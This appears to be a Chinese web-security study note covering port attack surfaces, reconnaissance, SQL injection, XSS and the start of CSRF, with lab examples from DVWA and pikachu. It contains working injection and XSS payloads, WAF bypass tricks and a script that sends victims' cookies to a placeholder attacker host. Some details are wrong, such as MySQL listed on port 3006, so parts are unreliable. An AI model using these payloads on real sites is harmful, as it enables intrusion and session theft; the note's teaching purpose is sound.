web安全复习

前言

这里的复习只是基础复习,甚至连入门都算不上。如果想有所提高的话建议去看看大佬的博客文章

【前排提示,本文非100%原创】

常用端口

文件共享服务端口

端口号 端口说明 攻击方向
21/22/69 FTP/Tftp文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
2049 Nfs服务 配置不当
139 Samba服务 爆破、未授权访问、远程代码执行
389 Ldap目录访问协议 注入、允许匿名访问、弱口令

远程连接服务端口

端口号 端口说明 攻击方向
22 SSH远程连接 爆破、SSH隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
3389 Rdp远程桌面连接 Shift后门(需要Windows Sever 2003以下的系统)、爆破
5632 PyAnywhere 抓密码、代码执行
5900 VNC 弱口令爆破

Web应用服务端口

端口号 端口说明 攻击方向
80/443/8080 常见的web服务端口 Web攻击、爆破、对应服务器版本漏洞
7001/7002 WebLogic控制台 Java反序列化、弱口令
8080/8089 Jboss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSphere控制台 Java反序列化、弱口令
4848 GlassFish控制台 弱口令
1352 Lotus domino 邮件服务 弱口令、信息泄露、爆破
10000 Webmin-Web控制面板 弱口令

数据库服务端口

端口号 端口说明 攻击方向
3006 MySQL 注入、提权、爆破
1433 MSSQL数据库 注入、提权、SA弱口令、爆破
1521 Oracle数据库 TNS爆破、注入、反弹shell
5432 PostgreSQL数据库 爆破、注入、弱口令
27017/27018 MongoDB 爆破、未授权访问
6379 Redis数据库 可尝试未授权访问、弱口令爆破
5000 SysBase/DB2数据库 爆破、注入

邮件服务端口

端口号 端口说明 攻击方向
25 SMTP邮件服务 邮件伪造
110 POP3协议 爆破、嗅探
143 IMAP协议 爆破

网络常见协议端口

端口号 端口说明 攻击方向
53 DNS域名系统 允许区域传送、DNS劫持、缓存投毒、欺骗
67/68 DHCP服务 劫持、欺骗
161 SNMP协议 爆破、搜集目标内网信息

特殊服务端口

端口号 端口说明 攻击方向
2181 Zookeeper服务 未授权访问
8069 Zabbix服务 远程执行、SQL注入
9200/9300 Elasticsearch服务 远程执行
11211 Memcache服务 未授权访问
512/513/514 Linux Rexec服务 爆破、Rlogin登录
873 Rsync服务 匿名访问、文件上传
3690 Svn服务 Svn泄露、未授权访问
50000 SAP Management Console 远程执行

指纹识别

指纹由于其终身不变性、唯一性和方便性,几乎称为生物特征识别的代名词。本文讲的指纹是网站CMS指纹识别、计算机操作系统及Web容器的指纹识别等

应用程序一般在html、js、css等问价那种多多少少会包含一些特征码。比如WordPress在robots.txt中会包含wp-admin、首页index,php中会包含generator=wordpress 3.xx,这几个特征就是CMS的指纹。

CMS指的是整站系统或文章系统,主要是用于给客户一个软件包,客户自己安装配置好,就可以定期更新数据来维护网站,节省人力和物力。

常见的CMS有Dedecms(织梦)、Discuz、PHPWEB、PHPWind、PHPCMS、ECShop、Dvbbs、SiteWeaver、ASPCMS、帝国、Z-Blog、WordPress等

查找真实IP

如果不存在CDN,则可以通过https://www.ip138.com/查询ip以及域名信息

存在CDN的话可以先通过ping,观察域名的解析情况,判断是否使用了CDN

如果存在使用CDN,则需要绕过CDN

  • 内部邮箱源:一般的邮件系统都在内部,没有经过CDN的解析,通过目标网站用户注册或者RSS订阅功能,查看邮件、寻找邮件头中的邮件服务器域名IP,ping这个邮件服务器的域名,就可以获得真实IP(这里的邮件服务器必须是他自己的,如果他使用的是第三方或者公共邮件服务器,那就没法获得真实IP)
  • 扫描网站测试文件:如phpinfo、test等,从而找到目标的真实IP
  • 分站域名:很多网站的主站访问量比较大,所以主站都是挂CDN的,但是他们的旁站没有挂。所以可以通过ping二级域名获取旁站ip,可能会出现旁站和主站不是同一个IP但在同一个IPC段的情况。
  • 国外访问:国内的CDN往往指对国内用户的访问加速,而国外的CDN就不一定了。所以通过国外的在线代理网站(https://asm.ca.com/en/ping.php)访问,可能会得到真实IP
  • 查询域名的解析记录:也许目标很久很久以前并没有用过CDN,所以可以通过(https://www.netcraft.com)来观察域名的IP历史记录,也可以大致分析出目标的真实IP段
  • 如果目标网站有自己的APP,可以尝试利用Fiddler或BP抓取APP的请求,从中寻找真实IP
  • 绕过CloudFlare CDN查找IP:http://www.crimeflare.us/cfs.html#box

信息收集

信息收集是渗透测试中的第二阶段的工作,也是非常重要的一项。收集到的情报信息,能够直接影响下一阶段的工作和效果。

收集方法

  1. 主动收集:通过技术手段去侦察目标的情况,此时目标有可能记录下此次事件的信息
  2. 被动收集:通过技术手段去收集目标遗留的信息,此时目标并不能感知事情的发生

具体方法

子域名收集

子域名枚举/在线扫描:主要是通过工具中的字典,对字典中的二级域名进行轮询查询,从而得到结果,准确率很高但是疏漏洞率也很高。

域传送漏洞:对目标所在的DNS服务器进行漏洞利用,能获取目标所在DNS服务器中的记录。

DNS数据集平台:基于全网信息持续收集的平台,根据其收录的信息,以快速查找到需要的数据

waf识别

防火墙识别的原理主要是通过请求中的状态码返回的响应头容、正文内容,进行匹配和判断的

端口服务收集

最常用的就是Nmap了

C段ip信息收集

这里的C段指的是并非网络中的C类地址,而是C类地址中子网掩码为255.255.255.0/24中的IP地址段,共254个。对于某些中大型厂商通过有可能使用的是自建的托管机房,他们的业务通常部署在同一个C类地址子网中,这就给了我们可以利用的空间了

最常用的还是Nmap

旁站信息收集

旁站指的是不同的web站点部署在同一台服务器中。

旁站查询主要是通过各大站长平台,基于对以前的收录信息,通过IP进行分组划分,查找其目标的IP来查询相同IP的解释记录而得出的结果

http://dns.aizhan.com

http://s.tool.chinaz.com/same

http://i.links.cn/sameip/

http://www.ip2hosts.com/

敏感目录/文件收集

该信息收集方法利用的是基本广大的安全行业从业者对常见web的敏感危险目录/文件形成一个汇总字典,当然也可以结合自己的经验,将文件加入到字典中,增加字典的范围,然后利用该字典向目标web服务器发出请求,显示返回的状态码,然后我们根据状态码进行人工进行判断分析有没有敏感文件可以进行利用

常见状态码如下

  • 200:请求成功
  • 403|401:文件/目录存在,但没有权限
  • 500:服务器出错

常用工具是御剑

IIS段文件名枚举

此漏洞利用了windows为了对16位MS-DOS程序兼容处理功能来收集信息的,windows为文件名较长的文件以及文件夹申城了对应的windows 8.3 短文件名,导致攻击者可利用xxx~1字符实施获取长文件名/目录名的信息。当对方的服务器为IIS,不妨可以尝试一下这个漏洞

Github信息收集

Github是通过Git进行版本控制的软件源代码托管服务平台,当一个项目需要进行协同开发时,就得使用svn或者GitHub对代码jjinx托管以及版本的控制

GitHub信息收集工具:https://github.com/MiSecurity/x-patrol

1
2
一些奇妙的语法:
https://github.com/search?q="域名" mysql password&type=Code

网站资产信息探测

资产信息,这里指的是服务器用的是什么操作系统、中间件、脚本语言、数据库、CMS等等的信息。

(1) 云悉:http://www.yunsee.cn/info.html

(2) 查看数据包响应头

(3) CMS指纹识别:http://whatweb.bugscaner.com/look/

shodan、fofa、钟馗之眼信息收集

利用这些类似搜索引擎的工具进行获取信息

寻找真实IP

上文有写

这里补充几点就好了

邮件原文:通过网站提供的邮件发送功能,如注册时的邮箱验证等,将邮件发送至自己的邮箱中,再查看其邮件原文内容,邮件原文中存在的IP地址有可能就是其真实的IP

HTTPS证书查询:工具https://censys.io/,该工具也是能过全网收集站点的https证书及ip地址,也可以利用该工具进行查找

搜索引擎

利用一些搜索语法进行搜索

1
2
3
4
5
6
7
8
9
后台:site:xxx.xxx admin|login|system|管理|登录|内部|系统

钓鱼:site:xxx.xxx 邮件|email

社工:site:xxx.xxx qq|群|微信|腾讯

越权:site:xxx.xxx inurl:uid=1|userid=1

包含:site:xxx.xxx inurl:php?include=

后台查找

  1. 一些默认的后台,如adminlogin.asp
  2. 通过CMS识别查看网站是否有使用CMS
  3. 使用御剑等工具进行扫描
  4. 搜索引擎搜索
  5. 查看是否存在robots.txt等敏感目录
  6. 查看网页中是否有类似管理员登录的连接

正则表达

匹配字符

[A-Z](所有大写字符)

[a-z](所有小写字符)

[ABC](匹配字符串里面存在的A、B、C的字符)

[^ABC](匹配字符串里面除去A、B、C的字符)

[\s\S](匹配所有。其中\s是匹配所有空白符,包括换行。\S是匹配非空白符,不包括换行)

\w(等价于[A-Za-z0-9]

[0-9](匹配0到9的所有数字)

特殊字符

$和^

($是正则表达式匹配字符串结束位置,^是匹配字符串开始的位置)

1
2
3
4
5
6
例子:
字符串:abcBA
正则:^[a-z]
匹配结果:a
正则:[A-Z]$
匹配结果:A
1
2
3
4
()【标记一个子表达式的开始和结束位置】
*【匹配前面的子表达式零次或者多次,等价于{0,}】
+【匹配前面的子表达式一次或者多次,等价于{1,}】
?【匹配前面的表达式零次或者一次,或指明一个非贪婪限定符,等价于{0,1}】

限定符

1
2
3
4
5
6
7
{n}【n是一个非负整数,匹配确定的n次】
例子:
字符串:abc123
正则:[a-z]{1}
结果:a、b、c
正则:[a-z]{2}
结果:ab
1
2
3
4
5
6
7
8
9
10
{n,} 【n是一个非负整数,至少匹配n次】
例子:
字符串:AabBcaaacccBA
正则:[a-z]{0,}
结果:ab、caaaccc
正则:[a-z]{3,}
结果:caaaccc
正则:[a-z]{8,}
结果:
【原因,ab只有两个,caaaccc有7个】
1
2
3
4
5
6
7
{n,m} 【m和n均为非负整数,其中吗《=m,最少匹配n次,最多匹配m次。
例子:
字符串:AabCa
正则:[a-z]{0,1}
结果:a、b、a
正则:[a-z]{1,2}
结果:ab、a

常用正则表达式

匹配IP地址

1
((25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d)))\.){3}(25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d)))

解释

1
2
3
4
5
6
7
8
9
10
11
12
13
ip地址共四段,每段都是0-255

所以取值区间为0-9的数字,我们直接用\d
10-99则用[1-9]\d
上面两个合起来就是[1-9]?\d
100-199则用1\d{2}【三位数,最高位取值为1,十位是0-9,个位是0-9】
200-249则用2[0-4]\d
250-255则用25[0-5]

将上面的结合起来就是
(25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d)))

然后每个段以.为结尾,而且.出现了3次,所以添加.{3}就好了

邮箱:

1
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

解释

1
2
3
4
5
6
7
8
9
10
11
邮箱分成两个部分,一个是域名前一个是域名后

域名前是由26个大小写字母、数字、下划线、中划线组成
所以直接[a-zA-Z0-9_-]+

域名后是由@然后**.**组成
**可以直接用上面的那条[a-zA-Z0-9_-]+
.**则用\.[a-zA-Z0-9_-]+
因为有的邮箱会是abc@ab.c.d,所以上面的稍做修改
(\.[a-zA-Z0-9_-]+)+
然后合起来就行了

手机号

1
13[0-9]{9}$

sql注入

相关知识

information_schema:默认的数据库

  • SCHEMATA:存储用户创建的所有数据库的库名,记录数据库的字段名

    库名:SCHEMA_NAME

  • TABLES:存储用户创建的所有数据库的库名和表名,对应的字段名

    库名:TABLE_CHEMA;表名:TABLE_NAME

  • COLUMNS:存储用户创建的所有数据库的库名、表名、字段名

    库名:TABLE_SCHEMA;表名:TABLE_NAME;字段名:COLUMN_NAME

Mysql查询语句

  • SELECT 字段名 FROM 库名.表名
  • SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名=’已知的值‘
  • SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名1=’已知的值1‘ AND 已知的字段名2=’已知的值2‘

探测

  1. 注入点探测(自动方式:使用web漏洞扫描工具,自动进行注入点发现;手动方式:手工构造sql inject测试语句进行注入点发现)
  2. 信息获取(通过注入点取期望得到的数据。1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等;2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解))
  3. 获取权限(获取操作系统权限:通过数据库执行shell,上传木马)

常见注入类型:

  • 数字型:uer_id=$id【1 or 1=1】
  • 字符型:user_id=’$id’【1’ or 1=1#’】
  • 搜索型:text LIKE ‘%{$_GET[‘search’]}%’”

攻击方式

Union注入

order by 查询数据表的字段数量

1
2
3
4
5
例子:
id =1 order by 3
页面是你结果与id=1相同,
id =1 order by 4
页面结果与id=1不同,则字段数为3

1
可以说明存在4个字段

union select 爆显示点

1
2
3
例子:
id = -1 union select 1,2,3
页面返回2、3,则表示2和3的位置可以输入mysql语句

1
如上图说明2,3可以输入mysql语句

Mysql语句

1
2
3
4
5
6
7
id = 1 union select 1,database(),3;

id = 1 union select 1,table_name,3 from information_schema.tables where table_schema='sql' limit 0,1

id = 1 union select 1,column_name,3 from information_schema.columns where table_schema='sql' and table_name='emails' limit 0,1

id = 1 union select 1,email_id from sql.emails limit 0,1;,3

第一条是使用database()函数查询当前数据库名称(’sql’)

第二条是用sql查询得到表名(’emails‘)

第三条是用表名查询得到字段名(’email_id’)

第四条则用字段名得到数据

Snipaste_2021-03-16_22-48-30

Snipaste_2021-03-16_22-50-23

1
2
3
ps:练习的时候发现注出的id没什么用,就重新注,方法差不多就不重新截图了
pss:如果是做题的话,上面最后的语句需要修改为id=-1%20union%20select%201,%20name,password,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%201,1
才能获得真正的密码

Boolean 注入

在页面不返回数据库的数据时,尝试使用Boolean注入

  • 判断数据库的长度尝试n的不同数值,由页面返回状况得到数据库长度
  • 逐字符判断获取数据库库名,变量处可以用burpsuit进行爆破,同样的方法判断表名
1
2
3
1.id = '1'  and length(database()) >= n --+
2.id = '1' and substr(database(),1,1)='t' --+
3.id = '1' and substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e' --+

报错注入

根据页面返回错误信息(实际上就是用于没有回显但是会现实报错信息的情况),利用updatexml()等函数获取数据

常用的几个函数:updatexml()、extractvalue()、floor()

思路技巧

在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

select/inster/update/delete都可以使用报错来获取信息。【不过这里有个前提,就是后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端】

updatexml():函数时mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():函数也是mysql对xml文档数据进行查询的xpath函数

floor():mysql中用来取整的函数

1
2
3
4
5
6
updatexml():改变(查找并替换)xml文档中复合条件的节点的值
语法:UPDATEXML(xml_document, XPathstring, new_value)
第一个参数:fiedname是String格式,为表中的字段名
第二个参数:XPathstring
第三个参数:new_value,String格式,替换查找到的复合条件的
其中,Xpath定位必须是有效的,否则则会发生错误
1
2
3
4
5
extractvalue():从目标xml中返回包含所查询值的字符串
语法:ExtractValue(xml_document, xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath——string(XPath格式的字符串)
xpath定位必须是有效的,否则会发生错误

放个payload

1
2
3
4
5
6
7
8
' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) --+

' or (select extractvalue(1,concat(0x7e,(select version()),0x7e)))--+

' or (select updatexml(1,concat(0x7e,(select version()),0x7e),1))--+

#获取表名
' and updatexml(1,concat(0x7e,(select table_name form information_schema.tables where table_schema = 'sql' limit(0,1)),0)#

其中0x7e是~

insert/update\delete注入

insert注入即插入注入,一般存在在注册界面

1
2
3
#insert注入

abc' or updatexml(1,concat(0x7e,database()),0) or '

update注入一般出现在更新信息处

而delete则会出现在删除界面,例如点击删除一个信息,然后这时进行抓包,可以获取到他传入的参数,然后进注入

堆叠查询注入

判断条件:如果用id=1’ 显示mysql错误 id=1’# 页面返回正常结果可以尝试堆叠注入

这个不是很懂,留着未来再写

时间注入

这个好像也叫时间盲注。主要用于没有回显也没有报错信息,页面显示情况属于正常。

PS:如果是一个登录界面,输入了错误的密码页面显示密码错误,这个并不是显示报错,而是正常的页面显示情况,不要乱注。

时间盲注跟布尔注入很像,只是布尔盲注是通过看页面变化来判断对错,而时间盲注是看页面响应的时间。

如何判断是否为时间盲注,这里需要使用if(expr1,expr2,expr3)sleep()函数

if()语句接受3个参数,第一个是判断条件,如果条件为真就返回第二个值,如果是假就返回第三个(有点像条件运算符)

所以最基本的判断语句如下:

1
if(1=1,sleep(5),1)

判断一个站是否存在时间盲注可以用上面这条,只要响应时间是5秒,那么就说明存在时间盲注。

二次注入

条件

(1)攻击者向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给攻击者

步骤

  1. 插入恶意数据
  2. 引用恶意数据

例子

存在一个数据库,里面存在账号admin和密码admin

在注册页面注册一个账号admin’#,密码为123456

利用这个账号登录进入数据库,可以看见存在两个账号,一个为admin,一个为admin’#,一个密码为admin,一个密码为123456

我们修改admin’#的密码为12345678,结果admin的账号密码变成了12345678,而admin’#的密码并没有修改。

原理

还是上面这个例子

它在用户注册时仅对特殊字符进行了转义,判断输入两次密码是否一致,然后将用户键入,将数据插入至数据库。

1
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"

当我们插入数据,进行修改密码,就会变成下面这样

1
2
3
$username= $_SESSION["username"];//直接取出了数据库的数据
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//对该用户的密码进行更新
$sql = "UPDATE users SET PASSWORD='12345678' where username='admin‘#

于是admin的密码就被修改了,而admin’#的密码并没有被修改

防御方法

(1)对外部提交数据谨慎

(2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别

宽字节注入

应用于单引号被转义,且数据库为GBK编码的情况

原理

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),
单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,
那么现在 %df\’ =%df%5c%27,
如果程序的默认字符集是GBK等宽字节字符集,
则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就成功逃逸了。

一句话说明,就是使转义字符无效,这样就可以造成单引号不闭合

下面给个清晰的例子

输入 后台处理 编码 实际查询内容 结果
' and 1=1 \' %5C%27 1\' and 1=1 无法进行注入
%df' %df\' %df%5C%27 縗’ and 1=1 可以进行注入

cookie注入

当burp抓包的时候发现cookie中有传过去的参数,那么这个就是cookie注入了

同类别的请求头注入都是一个原理,还有User-Augnet,只要是和数据库有交互的首部字段,没有一个是无辜的。

而后台的逻辑也很简单,从cookie中获取参数的值,而不是直接GET接收,获取到参数的值之后,就又开始之前的逻辑(实战中肯定会有各种绕过)。

User-Agent注入

跟cookie注入一样,只不过注入点变成了User-Agent

这个头部就是用户的一些客户端信息,我们除了在burp中进行更改来绕狗,还可以进行sql注入,前提是这个和数据库有交互
比如有一个头部是这样的

1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101

那么我们使用的payload就是这样的

1
’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

然后我们将这个payload放到头部的后面就可以了

1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

XFF注入

跟cookie注入一样,只不过注入点变成了X-Forwarded-for(记得2020年B站的BCTF好像就有一题是XFF注入)

这个头部字段是一个ip地址

1
X-Forwarded-for:127.0.0.1

那么我们的payload就可以是这样的

1
2
3
’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

#这里假设使用的是报错注入

然后将payload放到头部后面就好了

1
X-Forwarded-for:127.0.0.1’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

base64注入

请求数据中可以看到有明显的经过base64编码处理的数据

判断方法如下:

查看这些是否是由大小写字母和数字组成的一堆乱码

后台逻辑就是先获取数据然后调用函数进行base64解码。所以我们的注入思路如下:

先把数据base64解码,写入payload,然后再进行base64编码,再发送数据过去

PS:实际情况是有过滤,一般需要各种绕过姿势。

搜索框注入

无意中看到大佬的payload,改天试一试

1
2
%’ and 1=1 and ‘%1’=’%1
%' and '%1%'='%2

盲注

在某些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断

这个情况下的注入,称为盲注

盲注又分为based boolean和based time两种

boolean

主要表现:

  1. 没有报错信息
  2. 不管是正确的输入还是错误的输入,都只显示两种情况
  3. 在正确的输入下,输入and1=1/and 1=2发现可以判断

一般使用ascii(substr(database(),1,1))>100,返回是真还是假,然后得到他后台数据库的第一个名字的字母是啥(主要是通过ascii的比较)

然后通过len(database())来获取他数据库名字的长度。

剩下的就是普通的sql注入语法替换database()就好了

time

如果说boolen的盲注在页面上还能看到0or1的回显,那么基于time的盲注就完全啥都看不到。

但可以通过特定的输入,判断后台执行的时间,从而确认注入

常用的test payload

1' and sleep(5)#

1' and if((substr(database(),1,1))='p',sleep(10),null)#

os远程控制

写入方法

select 1,2 into outfile "/var/www/html/1.txt"

into outfile将select的结果写入到指定目录1.txt中,在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

条件:

  1. 需要知道远程目录
  2. 需要远程目录有写权限
  3. 需要数据库开启了secure_file_priv

暴力破解列表名和字段名

1’ and exists(select * from aa)#

抓包,然后暴力破解

一般的绕过姿势

大小写绕过

即waf的规则是发现and 或者order这些字眼就判断为注入,进行拦截。可以尝试将and变成AND,这样可以绕过waf。

【实践证明这种方法没什么用,大多数的waf都会识别大小写】

双写绕过

waf识别到and的时候会将and过滤掉,比如and 1=1会变成1=1,前面的and就没了。可以使用aandnd 1=1这种方法,对and进行双写,这样and被过滤后还会存在一个and。

二次编码绕过

客户端(浏览器)会对要传输的数据进行编码,服务器中间件、php自身、开发者写的解码函数都会对数据进行解码。当那几个解码的东西配合不充分,就会造成解码多多少少有点混乱。于是攻击者可利用此特性,进行二次编码绕过

简单地说就是对payload进行两次url编码

内联注释绕过

MySql中,/\* \*/是注释符,但是加了!,/\*! \*/,那么后边的内容将会被执行!

1
2
3
4
5
ip/Less-1/?id=1' /*!and*/ 1=1--+

ip/Less-1/?id=1' and 1=1--+

#两者效果一样

添加空号

在注入语句关键字前面添加多个空格

1
2
3
4
使用前:
1 UNION SELECT foobar
使用后:
1 UNION SELECT foobar

添加加号

用加号代替空格

1
2
3
4
使用前:
SELECT id FROM users
使用后:
SELECT+id+FROM+users

防范

代码层面:

  1. 对输入进行严格的转义和过滤
  2. 使用预处理和参数化(parameterized)

网络层面:

  1. 通过waf设备启动防sql inject注入策略(或类似防护系统)
  2. 云端防护(如阿里云盾等)

XSS

xss是web应用程序在将数据输出到网页的时候存在问题,导致恶意攻击者可以网web页面里插入而已JS、HTML代码,并将构造的恶意数据显示在页面的漏洞中

一般xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie盗取,甚至结合其他漏洞实现对用户主机的远程控制等。

探针

常见的探针:

1
2
3
4
<script>alert(1)</script>
<img src=x onerror=alert(1)> # 给一个不存在的src,这样就会onerror
<svg onload=alert(1)>
<a href=favascript:alert(1)>

有些时候可能需要对原本js代码进行闭合,比如payload是<img src=x onerror=alert(1)>的话,我们需要闭合原本js,就变成了"><img src=x onerror=alert(1)/>
因为假如前端代码为<input type='text' value=""><img src=x onerror=alert(1)>,这样"闭合了value的引号,>闭合了input>

一般查询接口容易出现反射性xss,留言板容易出现存储型xss

反射性xss

这种攻击只具备一次性。

将一段js代码插入到一个网站的原始代码中,相当于得到了一个新的网页,将该网页单独发给某个人,当他打开的时候就会触发xss

需要注意的地方:

  • 植入的代码只是放到了前端,所以只能用一次
  • 植入恶意代码后,站点的网址会发生改变
  • 想要他人访问,只能单独发给他人

但这种攻击很明显,简单举个例子

DVWA的原本url是这样的

1
http://127.0.0.1:8081/vulnerabilities/xss_r/

提交了payload后是这样的

1
http://127.0.0.1:8081/vulnerabilities/xss_r/?name=<script>alert('111')<%2Fscript>#

只要是有点安全意识的,不是瞎子都看得出这个url有问题,你在钓什么呢?

所以建议使用短网址网站

在pikachu中获得cookie的payload:

<script>document.location='http://ip/pikachu-master/pkxss/cookie.php?cookie='+document.cookie;</script>

post请求的xss

  1. 伪造表单自动提交页面
  2. 页面js自动post表单数据,触发xss
  3. 执行js,获取用户cookie
  4. 成功伪造用户登录

跨域

一个网址是:https://www.abc.com:8080/script/test.php

https:协议

www:子域名

abc.com:主域名

8080:端口

script/test.php:资源地址

当协议、主机(主域名、子域名)、端口号中的任意一个不相同时,称为不同域,跨域操作就是不同的域之间请求数据的操作

1
2
3
4
5
6
7
8
9
//不同域,因为协议不同
https://www.abc.com:8080/script/test.php
http://www.abc.com:8080/script/test.php
//不同域,因为子域名不同
http://client.abc.com:8080/script/test.php
http://www.abc.com:8080/script/test.php
//不同域,因为端口不同
http://www.abc.com:8081/script/test.php
http://www.abc.com:8080/script/test.php

同源策略:

为了安全考虑,所有的浏览器都约定了”同源策略“,即两个不同域名之间不能使用JS进行相互操作,如a.com域名下的js不能操作b.com域下的对象

如果需要进行跨域操作的话,就需要管理员进行特殊的配置

这些标签跨域加载资源(资源类型是有限制的)是不受同源策略影响的

<script src="...">//js,加载到本地执行

<img src="...">//图片

<link href="...">//css

<iframe src ="...">//任意资源

为什么要有这个同源策略呢?

因为如果没有这个东西的话,A用户登录了一个网站,然后收到B用户发给他的恶意连接,然后这个连接上的js就会操作A用户,如获取cookie。

存储型xss

这个和反射性不同的地方在于它跟数据库有交汇,可以说是持久性的。

当你提交一段恶意代码,前端js没有进行过滤,直接将你的留言内容(或者标题之类的,反正就是要存到数据库中的)直接存在数据库中,然后通过select语句将你的留言内容传回来,然后打印在前端页面。这个时候,你的恶意代码就会执行。

需要注意的地方:

  • 这个是持久性的,因为代码已经上传至网站数据库
  • 植入恶意代码后,网址并不会发生改变。因为这并不是生成一个新的网页,是原来的被黑掉了
  • 只需静静的等待管理员看你的留言就好,不需要单独发给谁

DOM型xss

这个可以说是特殊的反射型XSS,是基于DOM文档对象模型的一种漏洞。

HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有节点均可通过js进行访问。所有的HTML元素均可以被修改,也可以创建或删除节点。

客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM种的数据并在本地执行。所以DOM型的XSS漏洞是不和服务器端交互的,它只发生在客户端处理数据的阶段。

一般用户请求一个经过攻击者专门设计的URL,url上包含了XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,但是用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致XSS漏洞触发。

可以到pikachu中尝试以下这个类型的xss

下面给出pikachu中的payload

#' onclick="alert(1)">'(解释:通过#’来进行闭合前面的href,然后通过onclick实现弹窗,在通过>把前面的a标签进行闭合。)

编码绕过

前端绕过

直接抓包重放,或者修改html前端代码(如前端输入内容限制10字符,直接在前端代码中修改成10000)

大小写

如原本是<script>alert(1)</script>,可以通过大小写转换,变成<SCRIPT>aLeRT(1)</ScrIpt>或者<ScRiPt>alert(1)</ScRiPt>

<scr<script>ipt>alert(1)</scr</script>ipt>

注释

<scr<!--test-->pt>alert(1)</sc<!--test-->ript>

JS编码

JS提供了4种字符编码的策略:

  1. 三个八进制数字,如果字数不够,在前面补0。比如“e”的编码为“\145”
  2. 两个十六进制数字,个数不够用0补。比如“e”的编码为“\x65”
  3. 四个十六进制数字,个数不够用0补。比如“e”的编码为“\u0065”
  4. 对于一些控制字符,使用特殊C类型的转义风格(例如\n和\r)

HTML实体编码

命名实体:以&开头,以分号结尾。比如“<”的编码为“&1t”
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”。比如“<”可以u编码为“<”和“<”

htmlspecialchars()函数

该函数把预定义的字符转换成HTML实体

其中,预定义字符是:

1
2
3
4
5
&(和号)成为&amp
"(双引号)成为&quot
'(单引号)成为&#039
<(小于号)成为&lt
>(大于号)成为&gt

可用的引用类型:

1
2
3
ENT_COMPAT  默认。仅编码双引号
ENT_QUOTES 编码双引号和单引号
ENT_NOQUOTES 不编码任何引号

URL编码

跟sql注入一样,进行两次url编码处理

修复

主要分输入和输出两种

  • 过滤输入数据,包括”、’、<、>、on*等,对输入格式做限定
  • 对输出到页面的数据进行相应的编码转换,包括HTML实体编码,JS编码等

总的原则:输入做过滤,输出做转义

href的限制

只允许http或者https,其次是进行htmlspecialchars处理

js的限制

js是不会对tag和字符实体进行解释的,所以需要进行js转义。

如果进行html的实体编码,则可以解决xss问题,但实体编码后的内容,在js里面不会进行翻译,这样就会导致前端的功能无法使用。所以在js的输出点使用\对特殊字符进行转义

CSRF

CSRF(跨站请求伪造),通常缩写成CSRF或者XSRF,是一种对网站的而已利用。

XSS是利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。跟XSS相比,CSRF攻击往往不大流行,也难以防范。

原理

攻击者利用目标哦用户的身份,以目标用户的名用i执行某些非法操作。

CSRF能做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账。

举个例子:
你想给某位用户转钱,在网页上点击按钮后会发出下列的HTTP请求

1
http://www.bank.com/pay.php?user=xx&money=100

而攻击者伪造连接

1
http://www.bank.com/pay.php?user=hack&money=100

当目标用户访问这个url后,就会向Hack账户转账100元。

CSRF的攻击过程有以下两个点:

  • 目标用户已经登录了网站,能够执行网站的功能
  • 目标用户访问了攻击者构造的URL

条件:

  1. 网站没有进行防csrf处理
  2. 目标用户点击了攻击者构造的链接

跟xss的区别:

csrf是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。而xss则是攻击者直接盗取了用户的权限。

如何寻找这个漏洞

  1. 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造(例如修改管理员账号时不需要验证旧密码)
  2. 确认凭证的有效期(这个问题会提高CSRF被利用的概率)【关闭了浏览器,但cookie仍然有效,session没有及时过期】

攻击利用

简单版

  1. 用户A在国家某银行的官方网站上进行了登录,保留了cookie信息

  2. A被某些信息诱导打开了B网站

